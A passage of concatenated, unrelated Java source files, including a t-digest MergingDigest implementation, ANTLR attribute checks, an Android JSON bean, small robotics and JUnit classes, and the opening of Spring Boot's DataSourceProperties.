type).getNameCharArray(), tdname)) { return true; } if (type instanceof ITypeContainer) { type= ((ITypeContainer) type).getType(); } else if (type instanceof IFunctionType) { IFunctionType ft= (IFunctionType) type; if (introducesRecursion(ft.getReturnType(), tdname)) { return true; } IType[] params= ft.getParameterTypes(); for (IType param : params) { if (introducesRecursion(param, tdname)) { return true; } } return false; } else { return false; } } return true; } @Override protected int getRecordSize() { return RECORD_SIZE; } @Override public int getNodeType() { return IIndexCBindingConstants.CTYPEDEF; } @Override public IType getType() { try { return getLinkage().loadType(record + TYPE_OFFSET); } catch (CoreException e) { CCorePlugin.log(e); return null; } } @Override public boolean isSameType(IType type) { IType myrtype = getType(); if (myrtype == null) return false; if (type instanceof ITypedef) { type= ((ITypedef)type).getType(); } return myrtype.isSameType(type); } @Override protected String toStringBase() { return getName() + ": " + super.toStringBase(); //$NON-NLS-1$ } @Override public void setType(IType type) { throw new UnsupportedOperationException(); } @Override public Object clone() { throw new UnsupportedOperationException(); } }
package com.team4012.frc2020.functions; import com.team4012.frc2020.Robot; public class EncoderOut { double diameter; Robot robot = new Robot(); public EncoderOut(double diameter){ this.diameter = diameter / 12; } public double getSpeedL(){ double rpmL = robot.encoderL.getRate(); double constantL = rpmL * 3.14; double speedL = constantL * diameter; double speedLOut = speedL * 60; return speedLOut; } public double getSpeedR(){ double rpmR = robot.encoderR.getRate(); double constantR = rpmR * 3.14; double speedR = constantR * diameter; double speedROut = speedR * 60; return speedROut; } }
package org.quickstart.example.design.responsibility.chain; import org.quickstart.example.design.responsibility.chain.impl.Mt2101ReceiptHandler; import org.quickstart.example.design.responsibility.chain.impl.Mt8104ReceiptHandler; import java.util.ArrayList; import java.util.List; /** * <p>描述: [功能描述] </p > * 处理者容器 * @author yangzl * @date 2020/8/29 10:35 * @version v1.0 */ public class ReceiptHandlerContainer2 { private ReceiptHandlerContainer2(){} public static List<IReceiptHandler> getReceiptHandlerList(){ List<IReceiptHandler> receiptHandlerList = new ArrayList<>(); receiptHandlerList.add(new Mt2101ReceiptHandler()); receiptHandlerList.add(new Mt8104ReceiptHandler()); return receiptHandlerList; } }
package com.yhy.common.beans.net.model.guide; import org.json.JSONArray; import org.json.JSONException; import org.json.JSONObject; import java.io.Serializable; import java.util.ArrayList; import java.util.List; /** * Created with Android Studio. * Title:GuideAttractionInfo * Description: * Copyright:Copyright (c) 2016 * Company:quanyan * Author:鲍杰 * Date:2016-8-22 * Time:11:15 * Version 1.1.0 */ public class GuideAttractionInfo implements Serializable { private static final long serialVersionUID = -6731372239405347423L; /** * 景点id */ public long id; /** * 导览id */ public long guideId; /** * 景点图片 */ public String img; /** * 景点名称 */ public String name; /** * 游览时间 */ public String tourTime; /** * 标题 */ public String title; /** * 副标题 */ public String subTitle; /** * 看点列表 */ public List<GuideFocusInfo> focusList; /** * 距离 */ public long distance; /** * 编号 */ public int no; /** * 反序列化函数,用于从json字符串反序列化本类型实例 */ public static GuideAttractionInfo deserialize(String json) throws JSONException { if (json != null && !json.isEmpty()) { return deserialize(new JSONObject(json)); } return null; } /** * 反序列化函数,用于从json节点对象反序列化本类型实例 */ public static GuideAttractionInfo deserialize(JSONObject json) throws JSONException { if (json != null && json != JSONObject.NULL && json.length() > 0) { GuideAttractionInfo result = new GuideAttractionInfo(); // 景点id result.id = json.optLong("id"); // 导览id result.guideId = json.optLong("guideId"); // 景点图片 if(!json.isNull("img")){ result.img = json.optString("img", null); } // 景点名称 if(!json.isNull("name")){ result.name = json.optString("name", null); } // 游览时间 if(!json.isNull("tourTime")){ result.tourTime = json.optString("tourTime", null); } // 标题 if(!json.isNull("title")){ result.title = json.optString("title", null); } // 副标题 if(!json.isNull("subTitle")){ result.subTitle = json.optString("subTitle", null); } // 看点列表 JSONArray focusListArray = json.optJSONArray("focusList"); if (focusListArray != null) { int len = focusListArray.length(); result.focusList = new ArrayList<GuideFocusInfo>(len); for (int i = 0; i < len; i++) { JSONObject jo = focusListArray.optJSONObject(i); if (jo != null && jo != JSONObject.NULL && jo.length() > 0) { result.focusList.add(GuideFocusInfo.deserialize(jo)); } } } // 距离 result.distance = json.optLong("distance"); // 编号 result.no = json.optInt("no"); return result; } return null; } /* * 序列化函数,用于从对象生成数据字典 */ public JSONObject serialize() throws JSONException { JSONObject json = new JSONObject(); // 景点id json.put("id", this.id); // 导览id json.put("guideId", this.guideId); // 景点图片 if(this.img != null) { json.put("img", this.img); } // 景点名称 if(this.name != null) { json.put("name", this.name); } // 游览时间 if(this.tourTime != null) { json.put("tourTime", this.tourTime); } // 标题 if(this.title != null) { json.put("title", this.title); } // 副标题 if(this.subTitle != null) { json.put("subTitle", this.subTitle); } // 看点列表 if (this.focusList != null) { JSONArray focusListArray = new JSONArray(); for (GuideFocusInfo value : this.focusList) { if (value != null) { focusListArray.put(value.serialize()); } } json.put("focusList", focusListArray); } // 距离 json.put("distance", this.distance); // 编号 json.put("no", this.no); return json; } }
/* * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.tdunning.math.stats; import java.nio.ByteBuffer; import java.util.ArrayList; import java.util.Arrays; import java.util.Collection; import java.util.Collections; import java.util.List; /** * Maintains a t-digest by collecting new points in a buffer that is then sorted occasionally and merged * into a sorted array that contains previously computed centroids. * <p/> * This can be very fast because the cost of sorting and merging is amortized over several insertion. If * we keep N centroids total and have the input array is k long, then the amortized cost is something like * <p/> * N/k + log k * <p/> * These costs even out when N/k = log k. Balancing costs is often a good place to start in optimizing an * algorithm. For different values of compression factor, the following table shows estimated asymptotic * values of N and suggested values of k: * <table> * <thead> * <tr><td>Compression</td><td>N</td><td>k</td></tr> * </thead> * <tbody> * <tr><td>50</td><td>78</td><td>25</td></tr> * <tr><td>100</td><td>157</td><td>42</td></tr> * <tr><td>200</td><td>314</td><td>73</td></tr> * </tbody> * </table> * <p/> * The virtues of this kind of t-digest implementation include: * <ul> * <li>No allocation is required after initialization</li> * <li>The data structure automatically compresses existing centroids when possible</li> * <li>No Java object overhead is incurred for centroids since data is kept in primitive arrays</li> * </ul> * <p/> * The current implementation takes the liberty of using ping-pong buffers for implementing the merge resulting * in a substantial memory penalty, but the complexity of an in place merge was not considered as worthwhile * since even with the overhead, the memory cost is less than 40 bytes per centroid which is much less than half * what the AVLTreeDigest uses. Speed tests are still not complete so it is uncertain whether the merge * strategy is faster than the tree strategy. */ public class MergingDigest extends AbstractTDigest { private final double compression; // points to the centroid that is currently being merged // if weight[lastUsedCell] == 0, then this is the number of centroids // else the number is lastUsedCell+1 private int lastUsedCell; // sum_i weight[i] See also unmergedWeight private double totalWeight = 0; // number of points that have been added to each merged centroid private double[] weight; // mean of points added to each merged centroid private double[] mean; // absolute min and max samples seen private double min, max; // history of all data added to centroids (for testing purposes) private List<List<Double>> data = null; // buffers for merging private double[] mergeWeight; private double[] mergeMean; private List<List<Double>> mergeData = null; // sum_i tempWeight[i] private double unmergedWeight = 0; // this is the index of the next temporary centroid // this is a more Java-like convention than lastUsedCell uses private int tempUsed = 0; private double[] tempWeight; private double[] tempMean; private List<List<Double>> tempData = null; // array used for sorting the temp centroids. This is a field // to avoid allocations during operation private int[] order; /** * Allocates a buffer merging t-digest. This is the normally used constructor that * allocates default sized internal arrays. Other versions are available, but should * only be used for special cases. * * @param compression The compression factor */ public MergingDigest(double compression) { // magic formula created by regressing against known sizes for sample compression values this(compression, estimateBufferSize(compression)); } private static int estimateBufferSize(double compression) { if (compression < 20) { compression = 20; } if (compression > 1000) { compression = 1000; } return (int) (7.5 + 0.37 * compression - 2e-4 * compression * compression); } /** * If you know the size of the temporary buffer for incoming points, you can use this entry point. * * @param compression Compression factor for t-digest. Same as 1/\delta in the paper. * @param bufferSize How many samples to retain before merging. */ public MergingDigest(double compression, int bufferSize) { // should only need ceiling(compression * PI / 2). Double the allocation for now for safety this(compression, bufferSize, (int) (Math.PI * compression + 0.5)); } /** * Fully specified constructor. Normally only used for deserializing a buffer t-digest. * * @param compression Compression factor * @param bufferSize Number of temporary centroids * @param size Size of main buffer */ public MergingDigest(double compression, int bufferSize, int size) { this.compression = compression; weight = new double[size]; mean = new double[size]; min = Double.MAX_VALUE; max = -Double.MAX_VALUE; mergeWeight = new double[size]; mergeMean = new double[size]; tempWeight = new double[bufferSize]; tempMean = new double[bufferSize]; order = new int[bufferSize]; lastUsedCell = 0; } /** * Turns on internal data recording. */ @Override public TDigest recordAllData() { super.recordAllData(); data = new ArrayList<List<Double>>(); mergeData = new ArrayList<List<Double>>(); return this; } @Override void add(double x, int w, Centroid base) { add(x, w, base.data()); } @Override public void add(double x, int w) { add(x, w, (List<Double>) null); } public void add(double x, int w, List<Double> history) { if (Double.isNaN(x)) { throw new IllegalArgumentException("Cannot add NaN to t-digest"); } if (tempUsed >= tempWeight.length) { mergeNewValues(); } int where = tempUsed++; tempWeight[where] = w; tempMean[where] = x; unmergedWeight += w; if (data != null) { if (tempData == null) { tempData = new ArrayList<List<Double>>(); } while (tempData.size() <= where) { tempData.add(new ArrayList<Double>()); } if (history == null) { history = Collections.singletonList(x); } tempData.get(where).addAll(history); } } private void mergeNewValues() { if (unmergedWeight > 0) { Sort.sort(order, tempMean, tempUsed); double wSoFar = 0; double k1 = 0; int i = 0; int j = 0; int n = 0; if (totalWeight > 0) { if (weight[lastUsedCell] > 0) { n = lastUsedCell + 1; } else { n = lastUsedCell; } } lastUsedCell = 0; totalWeight += unmergedWeight; unmergedWeight = 0; // merge tempWeight,tempMean and weight,mean into mergeWeight,mergeMean while (i < tempUsed && j < n) { int ix = order[i]; if (tempMean[ix] <= mean[j]) { wSoFar += tempWeight[ix]; k1 = mergeCentroid(wSoFar, k1, tempWeight[ix], tempMean[ix], tempData != null ? tempData.get(ix) : null); i++; } else { wSoFar += weight[j]; k1 = mergeCentroid(wSoFar, k1, weight[j], mean[j], data != null ? data.get(j) : null); j++; } } while (i < tempUsed) { int ix = order[i]; wSoFar += tempWeight[ix]; k1 = mergeCentroid(wSoFar, k1, tempWeight[ix], tempMean[ix], tempData != null ? tempData.get(ix) : null); i++; } while (j < n) { wSoFar += weight[j]; k1 = mergeCentroid(wSoFar, k1, weight[j], mean[j], data != null ? data.get(j) : null); j++; } tempUsed = 0; // swap pointers for working space and merge space double[] z = weight; weight = mergeWeight; mergeWeight = z; Arrays.fill(mergeWeight, 0); z = mean; mean = mergeMean; mergeMean = z; if (totalWeight > 0) { min = Math.min(min, mean[0]); if (weight[lastUsedCell] > 0) { max = Math.max(max, mean[lastUsedCell]); } else { max = Math.max(max, mean[lastUsedCell - 1]); } } if (data != null) { data = mergeData; mergeData = new ArrayList<List<Double>>(); tempData = new ArrayList<List<Double>>(); } } } private double mergeCentroid(double wSoFar, double k1, double w, double m, List<Double> newData) { double k2 = integratedLocation(wSoFar / totalWeight); if (k2 - k1 <= 1 || mergeWeight[lastUsedCell] == 0) { // merge into existing centroid mergeWeight[lastUsedCell] += w; mergeMean[lastUsedCell] = mergeMean[lastUsedCell] + (m - mergeMean[lastUsedCell]) * w / mergeWeight[lastUsedCell]; } else { // create new centroid lastUsedCell++; mergeMean[lastUsedCell] = m; mergeWeight[lastUsedCell] = w; k1 = integratedLocation((wSoFar - w) / totalWeight); } if (mergeData != null) { while (mergeData.size() <= lastUsedCell) { mergeData.add(new ArrayList<Double>()); } mergeData.get(lastUsedCell).addAll(newData); } return k1; } /** * Exposed for testing. */ int checkWeights() { return checkWeights(weight, totalWeight, lastUsedCell); } private int checkWeights(double[] w, double total, int last) { int badCount = 0; int n = last; if (w[n] > 0) { n++; } double k1 = 0; double q = 0; for (int i = 0; i < n; i++) { double dq = w[i] / total; double k2 = integratedLocation(q + dq); if (k2 - k1 > 1 && w[i] != 1) { System.out.printf("Oversize centroid at %d, k0=%.2f, k1=%.2f, dk=%.2f, w=%.2f, q=%.4f\n", i, k1, k2, k2 - k1, w[i], q); badCount++; } if (k2 - k1 > 1.5 && w[i] != 1) { throw new IllegalStateException(String.format("Egregiously oversized centroid at %d, k0=%.2f, k1=%.2f, dk=%.2f, w=%.2f, q=%.4f\n", i, k1, k2, k2 - k1, w[i], q)); } q += dq; k1 = k2; } return badCount; } /** * Converts a quantile into a centroid scale value. The centroid scale is nominally * the number k of the centroid that a quantile point q should belong to. Due to * round-offs, however, we can't align things perfectly without splitting points * and centroids. We don't want to do that, so we have to allow for offsets. * In the end, the criterion is that any quantile range that spans a centroid * scale range more than one should be split across more than one centroid if * possible. This won't be possible if the quantile range refers to a single point * or an already existing centroid. * <p/> * This mapping is steep near q=0 or q=1 so each centroid there will correspond to * less q range. Near q=0.5, the mapping is flatter so that centroids there will * represent a larger chunk of quantiles. * * @param q The quantile scale value to be mapped. * @return The centroid scale value corresponding to q. */ private double integratedLocation(double q) { return compression * (Math.asin(2 * q - 1) + Math.PI / 2) / Math.PI; } @Override public void compress() { mergeNewValues(); } @Override public long size() { return (long) (totalWeight + unmergedWeight); } @Override public double cdf(double x) { mergeNewValues(); if (lastUsedCell == 0) { if (weight[lastUsedCell] == 0) { // no data to examine return Double.NaN; } else { // exactly one centroid, probably have max==min if (x < min) { return 0; } else if (x > max) { return 1; } else if (max - min < Double.MIN_NORMAL) { // x lands right on our only sample return 0.5; } else { // interpolate return (x - min) / (max - min); } } } else { int n = lastUsedCell; if (weight[n] > 0) { n++; } if (x < min) { return 0; } if (x >= max) { return 1; } // we now know that there are at least two centroids double r = 0; // we scan a across the centroids double a = min; double aCount; double b = min; double bCount = 0; double left; double right = 0; // to find enclosing pair of centroids (counting min as a virtual centroid for (int it = 0; it < n; it++) { left = b - (a + right); a = b; aCount = bCount; b = mean[it]; bCount = weight[it]; right = (b - a) * aCount / (aCount + bCount); // we know that x >= a-left if (x < a + right) { double value = (r + aCount * interpolate(x, a - left, a + right)) / totalWeight; return value > 0.0 ? value : 0.0; } r += aCount; } left = b - (a + right); a = b; aCount = bCount; right = max - a; // for the last element, use max to determine right if (x < a + right) { return (r + aCount * interpolate(x, a - left, a + right)) / totalWeight; } else { return 1; } } } @Override public double quantile(double q) { if (q < 0 || q > 1) { throw new IllegalArgumentException("q should be in [0,1], got " + q); } mergeNewValues(); if (lastUsedCell == 0 && weight[lastUsedCell] == 0) { return Double.NaN; } else if (lastUsedCell == 0) { return mean[0]; } // we know that there are at least two centroids now int n = lastUsedCell; if (weight[n] > 0) { n++; } // if values were stored in a sorted array, index would be the offset we are interested in final double index = q * totalWeight; double left; double a; double aCount; double right = min; double b = mean[0]; double bCount = weight[0]; double weightSoFar = 0; for (int it = 1; it < n; it++) { a = b; aCount = bCount; left = right; b = mean[it]; bCount = weight[it]; right = (bCount * a + aCount * b) / (aCount + bCount); if (index < weightSoFar + aCount) { // belongs to left side of a double p = (index - weightSoFar) / aCount; return left * (1 - p) + right * p; } weightSoFar += aCount; } left = right; aCount = bCount; right = max; if (index < weightSoFar + aCount) { // belongs to left side of a double p = (index - weightSoFar) / aCount; return left * (1 - p) + right * p; } else { return max; } } @Override public Collection<Centroid> centroids() { // we don't actually keep centroid structures around so we have to fake it compress(); List<Centroid> r = new ArrayList<Centroid>(); for (int i = 0; i <= lastUsedCell; i++) { if (weight[i] > 0) { r.add(new Centroid(mean[i], (int) weight[i], data != null ? data.get(i) : null)); } else { break; } } return r; } @Override public double compression() { return compression; } @Override public int byteSize() { compress(); // format code, compression(float), buffer-size(int), temp-size(int), #centroids-1(int), // then two doubles per centroid return (lastUsedCell + 1) * 16 + 40; } @Override public int smallByteSize() { compress(); // format code(int), compression(float), buffer-size(short), temp-size(short), #centroids-1(short), // then two floats per centroid return lastUsedCell * 8 + 38; } /** * Over-ride the min and max values for testing purposes */ void setMinMax(double min, double max) { this.min = min; this.max = max; } public enum Encoding { VERBOSE_ENCODING(1), SMALL_ENCODING(2); private final int code; Encoding(int code) { this.code = code; } } @Override public void asBytes(ByteBuffer buf) { compress(); buf.putInt(Encoding.VERBOSE_ENCODING.code); buf.putDouble(min); buf.putDouble(max); buf.putFloat((float) compression); buf.putFloat((float) compression); buf.putInt(mean.length); buf.putInt(tempMean.length); buf.putInt(lastUsedCell); for (int i = 0; i <= lastUsedCell; i++) { buf.putDouble(weight[i]); buf.putDouble(mean[i]); } } @Override public void asSmallBytes(ByteBuffer buf) { compress(); buf.putInt(Encoding.SMALL_ENCODING.code); buf.putDouble(min); buf.putDouble(max); buf.putFloat((float) compression); buf.putShort((short) mean.length); buf.putShort((short) tempMean.length); buf.putShort((short) lastUsedCell); for (int i = 0; i <= lastUsedCell; i++) { buf.putFloat((float) weight[i]); buf.putFloat((float) mean[i]); } } public static MergingDigest fromBytes(ByteBuffer buf) { int encoding = buf.getInt(); if (encoding == Encoding.VERBOSE_ENCODING.code) { double min = buf.getDouble(); double max = buf.getDouble(); double compression = buf.getFloat(); int n = buf.getInt(); int bufferSize = buf.getInt(); MergingDigest r = new MergingDigest(compression, bufferSize, n); r.min = min; r.max = max; r.lastUsedCell = buf.getInt(); for (int i = 0; i <= r.lastUsedCell; i++) { r.weight[i] = buf.getDouble(); r.mean[i] = buf.getDouble(); r.totalWeight += r.weight[i]; } return r; } else if (encoding == Encoding.SMALL_ENCODING.code) { double min = buf.getDouble(); double max = buf.getDouble(); double compression = buf.getFloat(); int n = buf.getShort(); int bufferSize = buf.getShort(); MergingDigest r = new MergingDigest(compression, bufferSize, n); r.min = min; r.max = max; r.lastUsedCell = buf.getShort(); for (int i = 0; i <= r.lastUsedCell; i++) { r.weight[i] = buf.getFloat(); r.mean[i] = buf.getFloat(); r.totalWeight += r.weight[i]; } return r; } else { throw new IllegalStateException("Invalid format for serialized histogram"); } } }
// "Remove redundant 'else'" "false" class a { void foo() { int a = 0; int b = 0; if (a != b) { a = 10; } else if (a + 1 == b) { return; } e<caret>lse { a = b; } a++; } }
package com.telenav.osv.event.ui; import com.telenav.osv.event.OSVEvent; /** * Created by Bencze Kalman on 2/12/2017. */ public class ShutterPressEvent extends OSVEvent { }
package com.danieltoms.junit.order; import org.junit.ClassRule; import org.junit.runner.RunWith; import org.junit.runners.Suite; import com.danieltoms.junit.order.rule.LoggingRule; import com.danieltoms.junit.order.simple.SimpleTest; @RunWith(Suite.class) @Suite.SuiteClasses({ // suite order is guaranteed ExecutionOrderTest.class, SimpleTest.class }) /** * Demonstrates how a suite can also have @ClassRule rules * @author dtoms * */ public class ExecutionOrderWithRulesSuiteTest { @ClassRule public static LoggingRule suiteClassResourcesOne = new LoggingRule().setClassScope(true).setFieldName("suiteClassResourcesOne"); @ClassRule public static LoggingRule suiteClassResourcesTwo = new LoggingRule().setClassScope(true).setFieldName("suiteClassResourcesTwo"); }
/* * [The "BSD license"] * Copyright (c) 2012 Terence Parr * Copyright (c) 2012 Sam Harwell * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. The name of the author may not be used to endorse or promote products * derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ package org.antlr.v4.semantics; import org.antlr.runtime.ANTLRStringStream; import org.antlr.runtime.Token; import org.antlr.v4.parse.ActionSplitter; import org.antlr.v4.parse.ActionSplitterListener; import org.antlr.v4.tool.Alternative; import org.antlr.v4.tool.ErrorManager; import org.antlr.v4.tool.ErrorType; import org.antlr.v4.tool.Grammar; import org.antlr.v4.tool.LabelElementPair; import org.antlr.v4.tool.LabelType; import org.antlr.v4.tool.Rule; import org.antlr.v4.tool.ast.ActionAST; import org.antlr.v4.tool.ast.GrammarAST; import java.util.List; /** Trigger checks for various kinds of attribute expressions. * no side-effects. */ public class AttributeChecks implements ActionSplitterListener { public Grammar g; public Rule r; // null if action outside of rule public Alternative alt; // null if action outside of alt; could be in rule public ActionAST node; public Token actionToken; // token within action public ErrorManager errMgr; public AttributeChecks(Grammar g, Rule r, Alternative alt, ActionAST node, Token actionToken) { this.g = g; this.r = r; this.alt = alt; this.node = node; this.actionToken = actionToken; this.errMgr = g.tool.errMgr; } public static void checkAllAttributeExpressions(Grammar g) { for (ActionAST act : g.namedActions.values()) { AttributeChecks checker = new AttributeChecks(g, null, null, act, act.token); checker.examineAction(); } for (Rule r : g.rules.values()) { for (ActionAST a : r.namedActions.values()) { AttributeChecks checker = new AttributeChecks(g, r, null, a, a.token); checker.examineAction(); } for (int i=1; i<=r.numberOfAlts; i++) { Alternative alt = r.alt[i]; for (ActionAST a : alt.actions) { AttributeChecks checker = new AttributeChecks(g, r, alt, a, a.token); checker.examineAction(); } } for (GrammarAST e : r.exceptions) { ActionAST a = (ActionAST)e.getChild(1); AttributeChecks checker = new AttributeChecks(g, r, null, a, a.token); checker.examineAction(); } if ( r.finallyAction!=null ) { AttributeChecks checker = new AttributeChecks(g, r, null, r.finallyAction, r.finallyAction.token); checker.examineAction(); } } } public void examineAction() { //System.out.println("examine "+actionToken); ANTLRStringStream in = new ANTLRStringStream(actionToken.getText()); in.setLine(actionToken.getLine()); in.setCharPositionInLine(actionToken.getCharPositionInLine()); ActionSplitter splitter = new ActionSplitter(in, this); // forces eval, triggers listener methods node.chunks = splitter.getActionTokens(); } // LISTENER METHODS // $x.y @Override public void qualifiedAttr(String expr, Token x, Token y) { if ( g.isLexer() ) { errMgr.grammarError(ErrorType.ATTRIBUTE_IN_LEXER_ACTION, g.fileName, x, x.getText()+"."+y.getText(), expr); return; } if ( node.resolver.resolveToAttribute(x.getText(), node)!=null ) { // must be a member access to a predefined attribute like $ctx.foo attr(expr, x); return; } if ( node.resolver.resolveToAttribute(x.getText(), y.getText(), node)==null ) { Rule rref = isolatedRuleRef(x.getText()); if ( rref!=null ) { if ( rref.args!=null && rref.args.get(y.getText())!=null ) { g.tool.errMgr.grammarError(ErrorType.INVALID_RULE_PARAMETER_REF, g.fileName, y, y.getText(), rref.name, expr); } else { errMgr.grammarError(ErrorType.UNKNOWN_RULE_ATTRIBUTE, g.fileName, y, y.getText(), rref.name, expr); } } else if ( !node.resolver.resolvesToAttributeDict(x.getText(), node) ) { errMgr.grammarError(ErrorType.UNKNOWN_SIMPLE_ATTRIBUTE, g.fileName, x, x.getText(), expr); } else { errMgr.grammarError(ErrorType.UNKNOWN_ATTRIBUTE_IN_SCOPE, g.fileName, y, y.getText(), expr); } } } @Override public void setAttr(String expr, Token x, Token rhs) { if ( g.isLexer() ) { errMgr.grammarError(ErrorType.ATTRIBUTE_IN_LEXER_ACTION, g.fileName, x, x.getText(), expr); return; } if ( node.resolver.resolveToAttribute(x.getText(), node)==null ) { ErrorType errorType = ErrorType.UNKNOWN_SIMPLE_ATTRIBUTE; if ( node.resolver.resolvesToListLabel(x.getText(), node) ) { // $ids for ids+=ID etc... errorType = ErrorType.ASSIGNMENT_TO_LIST_LABEL; } errMgr.grammarError(errorType, g.fileName, x, x.getText(), expr); } new AttributeChecks(g, r, alt, node, rhs).examineAction(); } @Override public void attr(String expr, Token x) { if ( g.isLexer() ) { errMgr.grammarError(ErrorType.ATTRIBUTE_IN_LEXER_ACTION, g.fileName, x, x.getText(), expr); return; } if ( node.resolver.resolveToAttribute(x.getText(), node)==null ) { if ( node.resolver.resolvesToToken(x.getText(), node) ) { return; // $ID for token ref or label of token } if ( node.resolver.resolvesToListLabel(x.getText(), node) ) { return; // $ids for ids+=ID etc... } if ( isolatedRuleRef(x.getText())!=null ) { errMgr.grammarError(ErrorType.ISOLATED_RULE_REF, g.fileName, x, x.getText(), expr); return; } errMgr.grammarError(ErrorType.UNKNOWN_SIMPLE_ATTRIBUTE, g.fileName, x, x.getText(), expr); } } @Override public void nonLocalAttr(String expr, Token x, Token y) { Rule r = g.getRule(x.getText()); if ( r==null ) { errMgr.grammarError(ErrorType.UNDEFINED_RULE_IN_NONLOCAL_REF, g.fileName, x, x.getText(), y.getText(), expr); } else if ( r.resolveToAttribute(y.getText(), null)==null ) { errMgr.grammarError(ErrorType.UNKNOWN_RULE_ATTRIBUTE, g.fileName, y, y.getText(), x.getText(), expr); } } @Override public void setNonLocalAttr(String expr, Token x, Token y, Token rhs) { Rule r = g.getRule(x.getText()); if ( r==null ) { errMgr.grammarError(ErrorType.UNDEFINED_RULE_IN_NONLOCAL_REF, g.fileName, x, x.getText(), y.getText(), expr); } else if ( r.resolveToAttribute(y.getText(), null)==null ) { errMgr.grammarError(ErrorType.UNKNOWN_RULE_ATTRIBUTE, g.fileName, y, y.getText(), x.getText(), expr); } } @Override public void text(String text) { } // don't care public void templateInstance(String expr) { } public void indirectTemplateInstance(String expr) { } public void setExprAttribute(String expr) { } public void setSTAttribute(String expr) { } public void templateExpr(String expr) { } // SUPPORT public Rule isolatedRuleRef(String x) { if ( node.resolver instanceof Grammar ) return null; if ( x.equals(r.name) ) return r; List<LabelElementPair> labels = null; if ( node.resolver instanceof Rule ) { labels = r.getElementLabelDefs().get(x); } else if ( node.resolver instanceof Alternative ) { labels = ((Alternative)node.resolver).labelDefs.get(x); } if ( labels!=null ) { // it's a label ref. is it a rule label? LabelElementPair anyLabelDef = labels.get(0); if ( anyLabelDef.type==LabelType.RULE_LABEL ) { return g.getRule(anyLabelDef.element.getText()); } } if ( node.resolver instanceof Alternative ) { if ( ((Alternative)node.resolver).ruleRefs.get(x)!=null ) { return g.getRule(x); } } return null; } }
/* * Copyright 2012-2017 the original author or authors. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.springframework.boot.autoconfigure.jdbc; import java.nio.charset.Charset; import java.util.LinkedHashMap; import java.util.List; import java.util.Map; import java.util.UUID; import javax.sql.DataSource; import org.springframework.beans.factory.BeanClassLoaderAware; import org.springframework.beans.factory.BeanCreationException; import org.springframework.beans.factory.InitializingBean; import org.springframework.boot.context.properties.ConfigurationProperties; import org.springframework.boot.jdbc.DatabaseDriver; import org.springframework.context.EnvironmentAware; import org.springframework.core.env.Environment; import org.springframework.util.Assert; import org.springframework.util.ClassUtils; import org.springframework.util.ObjectUtils; import org.springframework.util.StringUtils; /** * Base class for configuration of a data source. * * @author Dave Syer * @author Maciej Walkowiak * @author Stephane Nicoll * @author Benedikt Ritter * @author Eddú Meléndez * @since 1.1.0 */ @ConfigurationProperties(prefix = "spring.datasource") public class DataSourceProperties implements BeanClassLoaderAware, EnvironmentAware, InitializingBean { private ClassLoader classLoader; private Environment environment; /** * Name of the datasource. */ private String name = "testdb"; /** * Generate a random datasource name. */ private boolean generateUniqueName; /** * Fully qualified name of the connection pool implementation to use. By default, it * is auto-detected from the classpath. */ private Class<? extends DataSource> type; /** * Fully qualified name of the JDBC driver. Auto-detected based on the URL by default. */ private String driverClassName; /** * JDBC url of the database. */ private String url; /** * Login user of the database. */ private String username; /** * Login password of the database. */ private String password; /** * JNDI location of the datasource. Class, url, username & password are ignored when * set. */ private String jndiName; /** * Populate the database using 'data.sql'. */ private boolean initialize = true; /** * Platform to use in the schema resource (schema-${platform}.sql). */ private String platform = "all"; /** * Schema (DDL) script resource references. */ private List<String> schema; /** * User of the database to execute DDL scripts (if different). */ private String schemaUsername; /** * Password of the database to execute DDL scripts (if different). */ private String schemaPassword; /** * Data (DML) script resource references. */ private List<String> data; /** * User of the database to execute DML scripts. */ private String dataUsername; /** * Password of the database to execute DML scripts. */ private String dataPassword; /** * Do not stop if an error occurs while initializing the database. */ private boolean continueOnError = false; /** * Statement separator in SQL initialization scripts. */ private String separator = ";"; /** * SQL scripts encoding. */ private Charset sqlScriptEncoding; private EmbeddedDatabaseConnection embeddedDatabaseConnection = EmbeddedDatabaseConnection.NONE; private Xa xa = new Xa(); private String uniqueName; @Override public void setBeanClassLoader(ClassLoader classLoader) { this.classLoader = classLoader; } @Override public void setEnvironment(Environment environment) { this.environment = environment; } @Override public void afterPropertiesSet() throws Exception { this.embeddedDatabaseConnection = EmbeddedDatabaseConnection .get(this.classLoader); } /** * Initialize a {@link DataSourceBuilder} with the state of this instance. * @return a {@link DataSourceBuilder} initialized with the customizations defined on * this instance */ public DataSourceBuilder initializeDataSourceBuilder() { return 